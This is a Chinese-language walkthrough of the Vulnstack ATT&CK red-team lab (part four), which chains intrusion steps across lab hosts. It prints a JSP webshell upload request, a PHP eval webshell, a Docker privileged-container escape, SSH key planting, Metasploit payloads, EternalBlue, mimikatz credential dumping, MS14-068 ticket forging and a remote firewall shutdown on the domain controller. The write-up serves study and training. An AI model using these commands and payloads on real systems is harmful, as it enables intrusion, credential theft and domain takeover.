ATK&CK红队评估实战靶场(四)

前言

靶机详细信息

1
http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

环境搭建

拓扑图

image-20221230164716379

首先添加一张VMnet2的网卡

image-20221229105239017

配置子网IP为192.168.183.0,并且将该网卡应用于 DCWin7UbuntuUbuntu为双网卡,这里我添加的是NAT

靶机登录密码

1
2
3
4
5
6
7
8
外网服务器:ubuntu
ubuntu:ubuntu

域成员机器 win7
douser:Dotest123

DC:
administrator:Test2008

需要在Ubuntu中开启 docker 服务

1
sudo docker start ec 17 09 bb da 3d ab ad
image-20221229110659197

各个虚拟机拿到的ip

Kali

image-20221229110803742

Ubuntu

image-20221229110848464

Win7

image-20221230164530515

*注意 win7的IP后续因为靶机重启后会在183.6 或 183.7之间改变 *

DC

image-20221229110944265

外网打点

主机发现

1
nmap -sn 172.20.10.1/24
image-20221229111124814

这里扫出来172.20.10.5 这台机器,另外两个ip分别是网关 和 kali。

端口扫描

1
sudo nmap -sS -Pn -sV -v -p 1-65535 172.20.10.5
image-20221229111404680

分别开放了22200120022003四个端口。

Tomcat CVE-2017-12615漏洞利用

2002端口中发现tomcat页面

image-20221229144136206

从页面中得到tomcat版本为8.5.19,通过搜索引擎发现存在文件写入漏洞。

可以通过该脚本直接一键利用

1
https://github.com/cyberheartmi9/CVE-2017-12617/
image-20221229144726499

也可以手工。

首先用burp抓一个访问tomcat主页的包

image-20221229144846870

然后将请求包改为如下

image-20221229145601432
1
2
3
4
5
6
7
8
9
10
11
12
13
PUT /shell.jsp/ HTTP/1.1
Host: 172.20.10.5:2002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 612

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

访问

1
http://172.20.10.5:2002/shell.jsp
image-20221229145637592

没有回显,但是可以肯定的是已经存在这个文件了。

因为是使用的冰蝎马,直接使用冰蝎客户端进行连接。

image-20221229145733261

成功连接上。

phpmyadmin CVE-2018-12613漏洞利用

2003端口中发现,一个无需登录的 phpmyadmin页面

image-20221229114737983

一个phpmyadmin站点,发现版本号为4.8.1,这个版本存在一个文件包含漏洞 CVE-2018-12613

首先,检测是否存在文件包含漏洞

1
http://172.20.10.5:2003/?target=tbl_zoom_select.php?/../../../../../../etc/passwd
image-20221229114933221

/etc/passwd文件读取出来,是存在文件包含漏洞的。

接下来,在test数据库中创建一张表,名字随便取

image-20221229115115912

然后,字段名字这插入一句话木马

image-20221229115310270

查看浏览器的session

image-20221229115420601
1
e7bec897077c4a99f9e6e5da0bed67b5

访问

1
http://172.20.10.5:2003/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_e7bec897077c4a99f9e6e5da0bed67b5&cmd=phpinfo();
image-20221229115610298

通过蚁剑连接

image-20221229115847103

连接不上。

利用file_put_contents写马

1
http://172.20.10.5:2003/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_e7bec897077c4a99f9e6e5da0bed67b5&cmd=file_put_contents("/var/www/html/shell.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=="));
1
2
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
<?php eval($_POST['cmd']);?>

访问

image-20221229141132690

蚁剑连接

image-20221229141146945

这里成功就拿到了一个webshell权限,接下来,我们将利用该webshell上线MSF的shell

利用webshell派生MSF shell(失败)

生成反弹shell

1
msfvenom -p linux/x64/meterpreter/bind_tcp lport=9999 -f elf > shell9999

通过蚁剑上传到靶机的/tmp目录下

image-20221229142001820

MSF开启监听

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 172.20.10.5
set lport 9999
exploit

执行

image-20221229142311862

回到msf中

image-20221229142346901

根本就没连接上,目标靶机根本没有打开9999端口。

image-20221229142514157

Docker逃逸

1
2
ls -alh /.dockerenv
cat /proc/1/cgroup
image-20221229142724424

发现该web服务存在于docker环境下。

如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

利用方式

创建一个目录用于挂载

1
mkdir /tmp/test

挂载

1
mount /dev/sda1 /tmp/test

这里通过2003端口 phpmyadmin打下来webhsell,是没有权限执行的

image-20221229143634783

网上说,需要通过 2002的tomcat拿到的shell,才行。

切换到tomcat的shell中,执行

1
2
mkdir /tmp/test
mount /dev/sda1 /tmp/test
image-20221229150035225

成功将 /dev/sda1 挂载到 /tmp/test

目前我们已经可以访问物理机当中的所有文件,所以这里的利用思路有两种,一种是,在kali中创建一个用户,然后在/etc/passwd/etc/shadow中该用户的信息复制出来,写入到靶机 /etc/passwd/etc/shadow下,这样我们就可以用ssh连接上去了。另一种是直接写入 ssh密钥。

第一种方式:通过写入passwd和shadow文件创建用户(失败)

首先在kali中创建用户

1
2
3
4
5
6
# 添加用户
sudo useradd test1
# 设置密码为 qwe123!@#(这里如果设置的密码太简单会出现登录不上去)
sudo passwd test1
# 修改test用户登录的shell为/bin/bash
sudo chsh -s /bin/bash test1
image-20221229152729145

查看 passwdshadow中信息

1
test1:x:3004:3005::/home/test1:/bin/bash
1
test1:$y$j9T$B4j3Ux49X5pTOdjWZVEgX0$4iknEZjD18G72k.OLguby8s8bKAdkKXWzEBve48wpbC:19355:0:99999:7:::

接着在靶机中的passwdshadow中追加的方式写入上面的信息

1
2
echo "test1:x:3004:3005::/home/test1:/bin/bash" >> /tmp/test/etc/passwd
echo "test1:$y$j9T$B4j3Ux49X5pTOdjWZVEgX0$4iknEZjD18G72k.OLguby8s8bKAdkKXWzEBve48wpbC:19355:0:99999:7:::" >> /tmp/test/etc/shadow

ssh连接

image-20221229153911110

连不上,一直提示密码错误,也不知道那个环节出现了问题。

使用第二种方式:ssh密钥写入

首先生成rsa密钥

1
ssh-keygen -t rsa
image-20221229160536306

进入到/home/kali/.ssh/目录下,用python开启一个http服务

1
python3 -m http.server

切换到冰蝎客户端下

进入到 /tmp/test/home/ubuntu/.ssh 目录下,执行

1
wget http://172.20.10.129:8000/id_rsa.pub
image-20221229161006708

id_rsa.pub.1 重命名为 authorized_keys

1
mv id_rsa.pub.1 authorized_keys

赋予 644权限

1
chmod 644 authorized_keys

然后回到kali中

1
ssh ubuntu@172.20.10.5
image-20221229161410750

成功免密码登录

权限维持

接下来,在MSF中上线该靶机

生成木马

1
msfvenom -p linux/x64/meterpreter/bind_tcp lport=9988 -f elf > shell9988

上传至靶机

使用python 开启http服务器

1
python3 -m http.server

在刚刚登录的shell中下载

1
wget http://172.20.10.129:8000/shell9988
image-20221229162121198

MSF开启监听

image-20221229162203603

赋予权限并执行

1
2
chmod u+x shell9988
./shell9988
image-20221229162309172

成功上线

image-20221229162323393

方便后续进行操作。

内网信息收集

查看网卡信息

1
ifconfig
image-20221229163124166

发现内网网段

上传fscan进行扫描

1
./fscan_amd64 -h 192.168.183.1/24
image-20221229163646524
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(icmp) Target 192.168.183.5   is alive
(icmp) Target 192.168.183.6 is alive
(icmp) Target 192.168.183.130 is alive
[*] Icmp alive hosts len is: 3
192.168.183.5:22 open
192.168.183.130:139 open
192.168.183.6:445 open
192.168.183.6:139 open
192.168.183.130:445 open
192.168.183.6:135 open
192.168.183.130:135 open
192.168.183.130:88 open
192.168.183.5:9988 open
[*] alive ports len is: 9
start vulscan
[*] NetInfo:
[*]192.168.183.6
[->]TESTWIN7-PC
[->]192.168.183.6
[*] NetInfo:
[*]192.168.183.130
[->]WIN-ENS2VR5TR3N
[->]192.168.183.130
[+] 192.168.183.130 MS17-010 (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[*] NetBios: 192.168.183.6 TESTWIN7-PC.demo.com Windows 7 Enterprise 7601 Service Pack 1
[*] NetBios: 192.168.183.130 [+]DC WIN-ENS2VR5TR3N.demo.com Windows Server 2008 HPC Edition 7601 Service Pack 1
[+] 192.168.183.6 MS17-010 (Windows 7 Enterprise 7601 Service Pack 1)
已完成 8/9 [-] ssh 192.168.183.5:22 root 123qwe ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

从fscan的扫描结果中可以得知,192.168.183.130是域控服务器,该主机的操作系统为 Windows Server 2008 HPC Edition 7601 Service Pack 1,并且存在永恒之蓝漏洞。192.168.183.6是域成员服务器,该主机的操作系统为 Windows 7 Enterprise 7601 Service Pack 1,并且也存在永恒之蓝漏洞。

横向移动准备

在MSF中,我们刚刚已经上线了外网的靶机。

接下来,给MSF添加通向内网的路由

1
run post/multi/manage/autoroute
image-20221229164509731
image-20221229164600957

内网渗透:域成员服务器 win7

永恒之蓝漏洞利用

1
2
3
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.6
set payload windows/x64/meterpreter/bind_tcp
image-20221229171956781

试了几次依旧失败,可能是MSF自带的添加路由功能不够稳定,换 frp 做代理。

frp 开启socks5代理服务

首先再kali中开启frp服务器

frps.ini

1
2
[common]
bind_port = 7000
1
./frps -c frps.ini
image-20221230103818084

frp客户端上传至ubuntu 靶机中,然后按如下方式启动

frpc.ini

1
2
3
4
5
6
7
8
[common]
server_addr = 172.20.10.129
server_port = 7000

[socks5]
type = tcp
remote_port = 8088
plugin = socks5
1
./frpc -c frpc.ini
image-20221230104106183

接下来,首先remove移除掉MSF中添加的路由,如果这一步没做,也可能导致利用不成功。

1
route del 网段 掩码 session
image-20221230104250490

手动一条条删除,没找到删除全部的办法。

接下来,使用给MSF配置全局代理

1
setg proxies socks5:127.0.0.1:8088
image-20221230104543535

再次使用exploit/windows/smb/ms17_010_eternalblue进行利用

这里win的 IP 由 192.168.183.6 变成了 192.168.183.8

image-20221230104641704

一次成功

主机信息收集

meterpreter加载kiwi

1
load kiwi

执行 获取用户登录口令

image-20221230105921450

一堆看不太懂的字符串,但是却没有拿到用户登录口令。

进入shell

image-20221230140903493

解决乱码问题

1
chcp 65001

创建一个用户

1
2
net user fany qwe123@ /add
net localgroup administrators fany /add
image-20221230141206898

开启远程桌面服务

1
run post/windows/manage/enable_rdp
image-20221230141235753

使用 kali 中的 rdesktop远程连接上去

1
2
3
proxychains4 rdesktop 192.168.183.7

# 登录口令 fany:qwe123@
image-20221230141412716

再次回到meterpreter终端中,执行

1
creds_all
image-20221230142122150
1
2
douser        DEMO         Dotest123
fany testwin7-PC qwe123@

就抓到了域用户的登录口令明文。

如果像上边一样抓不到,就需要自己手动在靶机中登录一次。

MS14-068域用户权限提升

拿到SID
1
whoami /all
image-20221230150857861

通过以上信息收集可以得到

1
2
3
4
5
域用户名:douser
域名:DEMO.com
SID:S-1-5-21-979886063-1111900045-1414766810-1107
域控地址:192.168.183.130
域成员密码:Dotest123
生成高权限票据

命令

1
MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
1
MS14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

在当前靶机的桌面目录c:\Users\douser\Desktop ,已经准备好了MS14-068提权执行文件。

image-20221230151601341
image-20221230151631277
通过 mimikatz 导入TGT票据将写入,从而提升为域管理员
1
2
kerberos::purge
kerberos::ptc TGT_douser@DEMO.COM.ccache
image-20221230151909128
验证
1
dir \\WIN-ENS2VR5TR3N\c$
image-20221230152112493

可以访问到域控的c盘目录。

内网渗透:域控服务器

域控服务器是存在永恒之蓝漏洞的,但是由于开启了防火墙,因为是使用正向的shell,服务启动了,防火墙没有开放该端口,所以只能检测到,但是利用不了。

渗透过程

使用MSF生成一个正向shell
1
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8899 -f exe > 8899.exe
image-20221230160910980
上传到shell域成员服务器中

注意,这里如果退当前shell再来上传,还需要重新使用mimikatz 导入TGT票据将写入

1
upload /home/kali/8899.exe c:/
image-20221230152856825
关闭域控防火墙
1
sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"
image-20221230153646614
将payload复制到域控
1
xcopy c:\8899.exe  \\WIN-ENS2VR5TR3N\c$
image-20221230153735013
重新开一个MSF设置监听
1
2
3
4
5
6
7
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 8899
# 开启全局代理
setg proxies socks5:127.0.0.1:8088
exploit
image-20221230161336164
创建服务并启动
1
2
sc \\WIN-ENS2VR5TR3N create startshell binpath= "C:\8899.exe"
sc \\WIN-ENS2VR5TR3N start startshell
image-20221230161437971
MSF收到shell
image-20221230161545748

尝试几次后,发现特别容易断开,执行ps, 找一个稳定得进程,马上迁移进程

迁移进程
1
ps
image-20221230161844458
1
migrate 2716
image-20221230161923953

主机信息收集

加载 kiwi
1
load kiwi
获取用户口令
1
creds_kerberos
image-20221230162152050

不是system权限

提权
1
getsystem

在执行

1
creds_kerberos
image-20221230162251601

成功拿到域控的登录口令

1
administrator     DEMO.COM  qwe123!@#
开启3389
1
run post/windows/manage/enable_rdp
image-20221230162427664

在windows下配置代理,直接连接

image-20221230162633130

成功拿下。

参考文章

https://blog.csdn.net/qq_36241198/article/details/121619400

https://blog.csdn.net/weixin_42918771/article/details/116207505

https://blog.csdn.net/weixin_54648419/article/details/123732412